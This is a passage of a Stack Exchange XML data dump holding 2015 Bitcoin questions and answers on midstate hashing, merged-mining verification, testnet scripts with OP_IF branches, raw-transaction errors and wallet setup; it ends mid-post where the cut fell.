  <row Id="36557" PostTypeId="2" ParentId="36555" CreationDate="2015-03-23T06:59:29.267" Score="-1" Body="&lt;p&gt;Simply put, no. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is required to ensure double spending doesn't occur. Your &quot;wallet&quot; would be analogous to emailing people with serial numbers of dollar bills. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really can't go into all the problems with this, as it's really not suited for SE IMO. I'd recommend checking out &lt;em&gt;Mastering Bitcoin&lt;/em&gt; or &lt;a href=&quot;http://en.wikipedia.org/wiki/Bitcoin&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wikipedia&lt;/a&gt;/&lt;a href=&quot;http://Bitcoin.it&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-03-23T06:59:29.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36558" PostTypeId="1" AcceptedAnswerId="36606" CreationDate="2015-03-23T07:14:53.333" Score="5" ViewCount="1729" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; defines &quot;midstate&quot; as the &quot;precomputed hash state after hashing the first half of the data.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard &quot;midstate&quot; used in the context of speeding up hashing. How does using a midstate speed up hashing?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="2306" LastEditDate="2015-05-12T20:11:10.707" LastActivityDate="2015-06-19T23:17:13.227" Title="What is a midstate? How does using a midstate speed up hashing?" Tags="|hash|sha256|midstate|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36559" PostTypeId="2" ParentId="36558" CreationDate="2015-03-23T07:37:10.043" Score="0" Body="&lt;p&gt;Unless I'm corrected otherwise, I'll offer this analogy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's two closets filled with files. You've searched through Closet 1 already (personally, or work done by another team) and want to save yourself the time of searching the same closet again the next day. So you (cryptographically) seal the door so as to be certain the state remains (no one alters files). This allows you to concentrate your efforts on the second closet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, I am on the fence between whether to comment or answer but I've chosen the latter &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-03-23T07:37:10.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36560" PostTypeId="1" CreationDate="2015-03-23T07:50:11.867" Score="6" ViewCount="595" Body="&lt;p&gt;I &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/36496/how-to-redeem-non-standard-script-tx-testnet-instance&quot;&gt;recently posted&lt;/a&gt; this &lt;a href=&quot;http://test.webbtc.com/script/2d0daa01da8294a54178f8111eb2a02010c425fd15957d8baee8717edcfbe105:0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Testnet TX&lt;/a&gt; (TxID 2d0daa01da8294a54178f8111eb2a02010c425fd15957d8baee8717edcfbe105) which successfully spends &lt;a href=&quot;http://test.webbtc.com/tx/8d897ca91774a7fafa086a3275e679248d6bffee015d3b2efefd5dab00df152d.json&quot; rel=&quot;nofollow noreferrer&quot;&gt;an output&lt;/a&gt; (TxID 8d897ca91774a7fafa086a3275e679248d6bffee015d3b2efefd5dab00df152d) of form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 ##HASH160_KEY1## OP_EQUALVERIFY OP_CHECKSIGVERIFY OP_IF OP_DUP OP_HASH160 ##HASH160_KEY1## OP_EQUALVERIFY OP_CHECKSIG OP_ELSE OP_HASH256 ##HASH256_OF_SECRET## OP_EQUAL OP_ENDIF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;##HASH256_OF_SECRET##&lt;/code&gt; is &lt;code&gt;sha256(sha256(3ceb50edd0282cd99dc59351f513dcdf))&lt;/code&gt; and &lt;code&gt;##HASH160_KEYx##&lt;/code&gt; is the &lt;code&gt;ripemd160(sha256(public key n))&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying for days using Python (pybitcointools library, Pycoin library, raw tx construction) and Bitcoincore, however I consistently cannot duplicate the Tx myself.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;EDIT&lt;/em&gt;&lt;/strong&gt;: added keys, code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a duplicated Tx on Testnet: &lt;a href=&quot;https://blockexplorer.com/testnet/rawtx/ed99a9d3c8da943c5140790349d000450209367c7cf24d1627df6b43ece8b9d4&quot; rel=&quot;nofollow noreferrer&quot;&gt;ed99a9d3c8da943c5140790349d000450209367c7cf24d1627df6b43ece8b9d4:1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keys (from pycoin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input                        : 98a6776b00481d69147af4f19982816d24b21f1e45bd6b9b6612969a805dff5d&#xA;network                      : Bitcoin testnet3&#xA;netcode                      : XTN&#xA;secret exponent              : 69045673789968930636498185430340997034503775217197653543201755869784347377501&#xA; hex                         : 98a6776b00481d69147af4f19982816d24b21f1e45bd6b9b6612969a805dff5d&#xA;wif                          : cShS7YocDNMfpxHPd1iWbXX6eTFPQoNTJSw6W4sQY5BVimvvw6FY&#xA; uncompressed                : 92k9QgqAnrFCWtwvA4neyJnngkZG3g43ne9BJuzBmeeirPHXtu3&#xA;public pair x                : 66609190448066768097937392847179714582119540337817974512409209527265330917500&#xA;public pair y                : 13690920648454078566739109880631240403596673427366917192400893160542072726114&#xA; x as hex                    : 9343773d05d5a07f103914d5294ca742db124babd2c2cac5f84e6114f192f07c&#xA; y as hex                    : 1e44c956c737a60369fbf4f5e6324dc005ba38d156f61232f9251fec8ee3e262&#xA;y parity                     : even&#xA;key pair as sec              : 029343773d05d5a07f103914d5294ca742db124babd2c2cac5f84e6114f192f07c&#xA; uncompressed                : 049343773d05d5a07f103914d5294ca742db124babd2c2cac5f84e6114f192f07c\&#xA;                                 1e44c956c737a60369fbf4f5e6324dc005ba38d156f61232f9251fec8ee3e262&#xA;hash160                      : fd00f9fd452fee2214e8b0f9acf4c53496bd5636&#xA; uncompressed                : 23dfc9ad6d857c92ad2b99004354067492cf464c&#xA;Bitcoin address              : n4aiRSJEm2gT9QrZTFJ7DJy3KPGnDHxybf&#xA;Bitcoin address uncompressed : mine2pMKAyoA6CBimPd1ZdFVi5kvhTM7TT&#xA;&#xA;script = 76a914dd6cce9f255a8cc17bda8ba0373df8e861cb866e88ad6376a914e900510876cb689f1db6fa982376c301362b740c88ac67aa20644d79d87e0907833e888e272e5d7b925deb261a8499a65cbc0bf26797a15e8e8768&#xA;&#xA;[118, 169, '23dfc9ad6d857c92ad2b99004354067492cf464c', 136, 173, 99, 118, 169, 'fd00f9fd452fee2214e8b0f9acf4c53496bd5636', 136, 172, 103, 170, '0757152190e14e5889b1270309d7c8e40219d45e04096fcb97d1b4c5a99064e1', 135, 104]&#xA;&#xA;*mysecret* = '12345678'.decode('hex')&#xA;sha256(sha256(*mysecret*)) == 0757152190e14e5889b1270309d7c8e40219d45e04096fcb97d1b4c5a99064e1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I'm looking for a working guide on constructing a Testnet &lt;em&gt;&lt;/strong&gt;&amp;amp;&lt;strong&gt;&lt;/em&gt; P2SH Tx which utilises Boolean scripting. Specifically:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A working testnet example of the question posed above &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/36496/how-to-redeem-non-standard-script-tx-testnet-instance&quot;&gt;(detailed further here)&lt;/a&gt; (I'll offer a bounty for this)&lt;/li&gt;&#xA;&lt;li&gt;Constructing a multisig Tx of form: &lt;code&gt;(1 KEY1 KEY2 2 CHECKMULTISIG) OR MASTERKEY&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="48884" LastEditDate="2017-12-27T00:07:53.547" LastActivityDate="2018-04-29T10:49:35.287" Title="Working example of raw transaction utilising Boolean (OP_IF, OP_ENDIF) scripting REQUIRED" Tags="|development|script|testnet|raw-transaction|multi-signature|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36561" PostTypeId="2" ParentId="36538" CreationDate="2015-03-23T10:03:56.863" Score="2" Body="&lt;p&gt;Are you running &quot;bitcoin-cli submitblock xyz&quot; manually? You are not supposed to do this. Software does this. If you mine in a pool you don't even need to run bitcoind at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do want to run your own bitcoind node, don't mess with the blk*.dat files. You don't need to touch them. The bitcoind program is the only thing that needs to use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mine in a pool just set up your ASIC mining machines and make sure they are running, then use the pool website for the rest of your needs.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-03-23T10:03:56.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36563" PostTypeId="1" CreationDate="2015-03-23T14:46:24.157" Score="2" ViewCount="183" Body="&lt;p&gt;When mining Bitcoin, the nonce is included in the header, which is then hashed and checked to see if it is below the target threshold.&lt;br&gt;&#xA;Everybody can verify that the header does indeed hash below the threshold. However, in merged mining, &lt;a href=&quot;https://en.bitcoin.it/wiki/Merged_mining_specification#Merged_mining_coinbase&quot; rel=&quot;nofollow&quot;&gt;according to the wiki&lt;/a&gt;, the hash of the auxiliary chain's header is included in the parent's coinbase txin script without the opportunity to change the nonce in the auxiliary chain. The parent's nonce is incremented as usual but the aux hash remains the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we then verify the auxiliary chain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it because the parent nonce makes its way into the auxiliary chain through the parent header's hash? even so it seems that this would not help for verification because the aux chain's hash no longer need meet any threshold criteria.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="5406" LastEditDate="2016-01-22T22:32:03.113" LastActivityDate="2016-01-24T13:30:38.643" Title="Nonce in Merged Mining" Tags="|altcoin|merged-mining|block-header|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36564" PostTypeId="2" ParentId="273" CreationDate="2015-03-23T15:43:12.733" Score="3" Body="&lt;p&gt;one thing to remember in merged mining is that the block hash of the auxiliary chain (eg namecoin) &lt;strong&gt;does not&lt;/strong&gt; need to be below the aux-chain threshold. rather, it is the block hash of the parent (eg bitcoin) which must be below the aux-chain (namecoin) threshold. for example, check out what happened to namecoin &lt;a href=&quot;http://explorer.namecoin.info/b/19200&quot; rel=&quot;nofollow&quot;&gt;when merged mining was introduced in block 19200&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nmc block height: 19199&#xA;nmc block hash: 000000000000b19f0ad5cd46859fe8c9662e8828d8a75ff6da73167ac09a9036&#xA;&#xA;nmc block height: 19200&#xA;nmc block hash: d8a7c3e01e1e95bcee015e6fcc7583a2ca60b79e5a3aa0a171eddd344ada903d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this did not happen because of a difficulty change in namecoin, and it also &lt;strong&gt;did not&lt;/strong&gt; happen because the namecoin difficulty became irrelevant due to merged mining. rather it happened because the criteria for evaluating valid blocks changed due to merged mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;extra fields were added to the namecoin header and these enable us to verify that the block validates to be below the namecoin threshold. specifically, the parent chain's &lt;em&gt;block hash&lt;/em&gt; is now included in the namecoin block header. it is this block hash which is mined in the parent chain and so we can simply observe this block hash and grab any result that is lower than the namecoin threshold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the reason this parent chain block hash is at all relevant to the auxiliary chain is simply because the block hash of the auxiliary chain is included in the coinbase txin script in the parent chain. this coinbase txin can take any arbitrary value - it need not produce a valid &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;script&lt;/a&gt;. so it is a good place to put the parent chain block hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, working backwards, to validate a merge-mined block we need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;verify that the aux chain block hash (before adding the parent chain data) exists in the coinbase txin script&lt;/li&gt;&#xA;&lt;li&gt;verify that the coinbase tx exists in the parent's merkle tree&lt;/li&gt;&#xA;&lt;li&gt;verify that the parent's merkle root exists in the parent's block hash&lt;/li&gt;&#xA;&lt;li&gt;verify that the parent's block hash is lower than the aux-chain's threshold&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and since each of these steps involves a one-way hash function of the data in the previous step, then completion of each step verifies all of the previous steps.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-03-24T01:30:13.160" LastActivityDate="2015-03-24T01:30:13.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36565" PostTypeId="2" ParentId="36563" CreationDate="2015-03-23T15:43:29.343" Score="2" Body="&lt;p&gt;You verify the auxiliary chain precisely the same way, except you must also check that the auxiliary chain's header is properly included in the parent's coinbase. From the point of view of the auxiliary chain, you can think of the entire primary chain header as part of a giant nonce.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2015-03-24T00:59:38.010" LastActivityDate="2015-03-24T00:59:38.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36566" PostTypeId="2" ParentId="36549" CreationDate="2015-03-23T18:30:05.113" Score="2" Body="&lt;p&gt;Problem is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;QApplication: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might not have QT development files installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If using debian / ubuntu try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install libqt4-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2015-03-23T18:30:05.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36567" PostTypeId="2" ParentId="36438" CreationDate="2015-03-23T18:36:14.570" Score="3" Body="&lt;p&gt;Check out MPOS, here is a guide to setting up an MPOS pool: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/MPOS/php-mpos/wiki/Quick-Start-Guide&quot; rel=&quot;nofollow&quot;&gt;https://github.com/MPOS/php-mpos/wiki/Quick-Start-Guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, to answer your last question, it is impossible to solo mine standard coins on a single computer that does not have the alt coin wallet in question installed. &lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2015-03-23T18:36:14.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36568" PostTypeId="1" CreationDate="2015-03-24T01:35:11.533" Score="2" ViewCount="121" Body="&lt;p&gt;I am creating a bitcoin website. I would rather the bitcoin didn't go through my website to prevent any security issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens is one user pays another user, and when that happens my website delivers the digital goods instantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I need to do is check if the one user pays the other user. But the problem I can't find a way to do that easily. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was going to use the blockchain api to check, but if they pay through a website like cryptsy, I can't check because it goes through multiple addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution I've found so far is to make them use the bitcoin wallet, or use an escrow service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Escrow is my last option, because it always has a fee, and I really want this to be user to user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could really use some suggestions!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!(:&lt;/p&gt;&#xA;" OwnerUserId="24808" LastActivityDate="2015-03-24T04:42:36.287" Title="Check if a user pays another user for bitcoin website" Tags="|transactions|wallet|address|payment|escrow|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36569" PostTypeId="2" ParentId="36563" CreationDate="2015-03-24T02:16:08.660" Score="3" Body="&lt;p&gt;To verify the auxiliary chain, you need to prove that a certain amount of work has been done upon the latest block in that auxiliary chain. As with any form of mining, this involves computing a hash to be below a threshold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it doesn't matter that the pre-image of the hash has a lot of other irrelevant data in it too, so long as it contains the relevant auxiliary-block header in there somewhere. I.e. from a proof-of-work perspective it makes no difference if you calculate this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while(h &amp;gt; aux-threshold) {&#xA;    h = hash(aux-header + nonce)&#xA;    nonce++&#xA;}&#xA;result = nonce    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;versus this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;container = hash(hash(aux-header) + other-data)&#xA;while(h &amp;gt; aux-threshold) {&#xA;    h = hash(container + nonce)&#xA;    nonce++&#xA;}&#xA;result = nonce&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both will take the same amount of work and both will prove that the work has been done on &lt;code&gt;aux-header&lt;/code&gt;. This is so because &lt;code&gt;container&lt;/code&gt; can be proven to contain the aux-header, and since &lt;code&gt;aux-header&lt;/code&gt; and &lt;code&gt;other-data&lt;/code&gt; are stored in the aux-chain block and the hash can be re-computed at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for merged mining, &lt;code&gt;container&lt;/code&gt; is actually the hashed header of the parent-chain block and &lt;code&gt;aux-header&lt;/code&gt; just needs to be included in the parent block somewhere. It really could be included anywhere so long as the parent block passes the verification process. For example, you could include the aux-chain-header-hash as an address in a multisig transaction, or as a piece of data that gets placed on the stack but never popped off in one of the transactions. Yet, the easiest place to put it is in the txin script of the coinbase transaction. This always contains arbitrary data anyway, and its location at the top of the chain means that &lt;code&gt;other-data&lt;/code&gt; can contain the smallest number of merkle branches.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="5406" LastEditDate="2016-01-24T13:30:38.643" LastActivityDate="2016-01-24T13:30:38.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36570" PostTypeId="2" ParentId="36568" CreationDate="2015-03-24T04:25:43.093" Score="1" Body="&lt;p&gt;I think what you really need here is to be able to, on demand, get a new address for the receiver that is specific to a new order. So, for example, if the receiver of the coins is to get 1 BTC, then you get a new address for that user, associate it with the order, and as soon as it receives the coins you know that this order has been fulfilled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may not be so easy to get the user (receiver of funds) to give you a big list of their addresses ahead of time, though. This is where something like BIP32 wallets may come in handy. With Hierarchical Deterministic wallets, you can get an extended public key and generate addresses for someone else as needed without ever needing to know the private keys for those addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not all wallets are HD wallets, and probably even fewer support getting an &lt;code&gt;xpub&lt;/code&gt; to give out to someone for generating new addresses on the wallets behalf. You'd have to do some digging to find a wallet that would let you do this. Obviously, you wouldn't be able to force the payers to use this type of wallet, but if there are relatively few receivers (merchants) you might be able to get them on board with using a more fully-featured HD wallet to receive their payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-03-24T04:42:36.287" LastActivityDate="2015-03-24T04:42:36.287" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36571" PostTypeId="1" AcceptedAnswerId="42864" CreationDate="2015-03-24T05:36:17.240" Score="1" ViewCount="339" Body="&lt;p&gt;When creating my wallet, I chose the options &quot;Create new wallet&quot; and &quot;Standard wallet.&quot; I think this is a BIP32-based wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the screenshot below, &quot;New Account&quot; is grayed out. Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hd1OD.png&quot; alt=&quot;electrum screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I'm using Electrum 2.0.3 on Windows. I have not sent or received any transactions since making this wallet.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-02-11T15:47:10.510" Title="Why is &quot;New Account&quot; grayed out in Electrum?" Tags="|electrum|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36572" PostTypeId="1" CreationDate="2015-03-24T06:20:08.070" Score="2" ViewCount="676" Body="&lt;p&gt;At least I don't think so!&#xA;I'm trying to create a wallet infrastructure to minimise fees, and so I've been experimenting with raw transactions. I'm quite clueless but fortunately have enough sense to use testnet instead of the real thing :)&#xA;I created a simple raw transaction using a perl script that executes rpc commands to bitcoind. I picked a UTXO that had 0.0625 tBTC on it and tried&#xA;createrawtransaction, signrawtransaction followed by sendrawtransaction. I ran this a few times over the same utxo with the result: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{&quot;result&quot;:null,&quot;error&quot;:{&quot;code&quot;:-26,&quot;message&quot;:&quot;66: insufficient priority&quot;},&quot;id&quot;:null}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I was trying to see how the number of confirmations affected the priority so I did this at intervals)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then at some point I started getting:&#xA;{&quot;result&quot;:null,&quot;error&quot;:{&quot;code&quot;:-27,&quot;message&quot;:&quot;transaction already in block chain&quot;},&quot;id&quot;:null}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and yet as far as I can see, it is not on the block chain. I checked the receiving address both by rpc (of course it is my address) and using blocktrail.com/tBTC. Nothing on the receiving address, the original utxo is still there and nothing has changed in my wallet. I tried restarting bitcoind and a rescan but without any success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What has happened? I am assuming it is not possible via raw transactions to fool the network into thinking the transaction has been transmitted when it hasn't - that would be a major flaw I think. Perhaps my copy of the blockchain has become corrupt? Do I need to reindex to purge this? (Reluctant to try this because in my experience it can take a long time.) Any other suggestions for dealing with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I'd thought the txid would be returned by the network (and thus would be returned on successful submission) but I guess then it is a hash of the info it contains? Anyway, thanks Nick for inadvertently teaching me sthg there :)&#xA;So I did decoderawtransaction and I get the following output  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$VAR1 = {  &#xA;   'locktime' =&amp;gt; 0,&#xA;   'vin' =&amp;gt; [{  &#xA;      'sequence' =&amp;gt; 4294967295,  &#xA;      'vout' =&amp;gt; 1,  &#xA;      'txid' =&amp;gt; '5ef8db75b8f3590dda1865f1dc4810b6d4be56775e4af43b6a394dccafe4422f',  &#xA;      'scriptSig' =&amp;gt; {  &#xA;         'hex' =&amp;gt;   '483045022100f24e41182ae3f1663b2bde4f9ff2d2e6ce66c0379ab8559c143a442460573da602206a28496206d5881bbb4eea9aa761bf07b3af2b8a6ca44b59e40a9b77059b91ad012102a3012dad956be238d9e17cd1b1473cd0c66968d479e3311e320b2c7b02dfa8b5',  &#xA;         'asm' =&amp;gt;   '3045022100f24e41182ae3f1663b2bde4f9ff2d2e6ce66c0379ab8559c143a442460573da602206a28496206d5881bbb4eea9aa761bf07b3af2b8a6ca44b59e40a9b77059b91ad01 02a3012dad956be238d9e17cd1b1473cd0c66968d479e3311e320b2c7b02dfa8b5'  &#xA;      }  &#xA;  }],  &#xA;  'version' =&amp;gt; 1,  &#xA;  'txid' =&amp;gt; '3bc11bfb7778ad806619f8190231cf907302cfc545d7e5116e24a15795646583',  &#xA;  'vout' =&amp;gt; [ {  &#xA;     'scriptPubKey' =&amp;gt; {  &#xA;         'hex' =&amp;gt;   '76a91468fd391d83c31283c00bc8b481f3eb698e33799c88ac',  &#xA;         'asm' =&amp;gt; 'OP_DUP OP_HASH160 68fd391d83c31283c00bc8b481f3eb698e33799c OP_EQUALVERIFY OP_CHECKSIG',&#xA;         'type' =&amp;gt; 'pubkeyhash',&#xA;         'reqSigs' =&amp;gt; 1,&#xA;         'addresses' =&amp;gt; [ &#xA;            'mq65vFheh3mXBvApPKbko8TVHaFQxEHxcf'&#xA;         ]&#xA;      },&#xA;      'n' =&amp;gt; 0,&#xA;      'value' =&amp;gt; '0.06257'&#xA;   } ]&#xA; };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess the txid in question is then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3bc11bfb7778ad806619f8190231cf907302cfc545d7e5116e24a15795646583&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;? Again, I can't find this on blocktrail.. and I still have the same error?&lt;/p&gt;&#xA;" OwnerUserId="24809" LastEditorUserId="24809" LastEditDate="2015-03-24T08:45:27.893" LastActivityDate="2015-03-24T08:45:27.893" Title="on testnet: 'transaction already in blockchain'.. but it isn't" Tags="|bitcoind|json-rpc|raw-transaction|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36573" PostTypeId="2" ParentId="32212" CreationDate="2015-03-24T10:17:03.930" Score="1" Body="&lt;p&gt;SHA256 is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptographic_hash_function&quot; rel=&quot;nofollow&quot;&gt;Cryptographic hash function&lt;/a&gt;.&lt;br&gt;&#xA;Among other traits, it is&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;infeasible to change the input of a CHF without changing the hash output&lt;/li&gt;&#xA;&lt;li&gt;there is no discernible pattern between the hashes of two differing messages&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As the block hash is the product of applying SHA256 to the block data, and the transaction data is represented in the input through the Merkle Root, &lt;strong&gt;it is impossible to change even one bit of a block or transaction without starting over from scratch, and there is no headstart by working from a closely related input.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-03-24T13:06:14.377" LastActivityDate="2015-03-24T13:06:14.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36575" PostTypeId="1" CreationDate="2015-03-24T16:23:04.110" Score="3" ViewCount="1494" Body="&lt;p&gt;Assume we have a 2 of 3 multi signature address and we send some bitcoin to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we spend the funds from that address by signing and broadcasting a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just by looking at that transaction, can you tell the public keys whose private keys were used to sign that transaction?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2015-03-24T19:27:03.557" LastActivityDate="2018-09-30T16:41:53.410" Title="How to find the Bitcoin addresses used to create a Multi Signature address" Tags="|multi-signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36576" PostTypeId="2" ParentId="11411" CreationDate="2015-03-24T17:18:08.827" Score="0" Body="&lt;p&gt;In summary, vout refers to the index of the output address in question. The index starts from 0. So for example, if a tx has 10 output addresses, the vouts for the addresses would be from 0-9. &lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2015-03-24T17:18:08.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36577" PostTypeId="1" AcceptedAnswerId="36579" CreationDate="2015-03-24T18:28:40.360" Score="1" ViewCount="937" Body="&lt;p&gt;I see several coins advertising 1 day PoW.&#xA;An example is this coin. &lt;a href=&quot;https://github.com/concealcoin/concealcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/concealcoin/concealcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been studying the code but must be missing a critical part as none of the math adds to 1 day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed light on this? What part of the code am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main.cpp&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CBigNum bnProofOfWorkLimit(~uint256(0) &amp;gt;&amp;gt; 20); // &quot;standard&quot; scrypt target limit for proof of work, results with 0,000244140625 proof-of-work difficulty&#xA;CBigNum bnProofOfStakeLimit(~uint256(0) &amp;gt;&amp;gt; 20);&#xA;CBigNum bnProofOfWorkLimitTestNet(~uint256(0) &amp;gt;&amp;gt; 16);&#xA;&#xA;unsigned int nTargetSpacing = 1 * 30; // 30 seconds&#xA;unsigned int nStakeMinAge = 24 * 60 * 60; // 24 hours&#xA;unsigned int nStakeMaxAge = 30 * 24 * 60 * 60;           // 30 days&#xA;unsigned int nModifierInterval = 10 * 60; // time to elapse before new modifier is 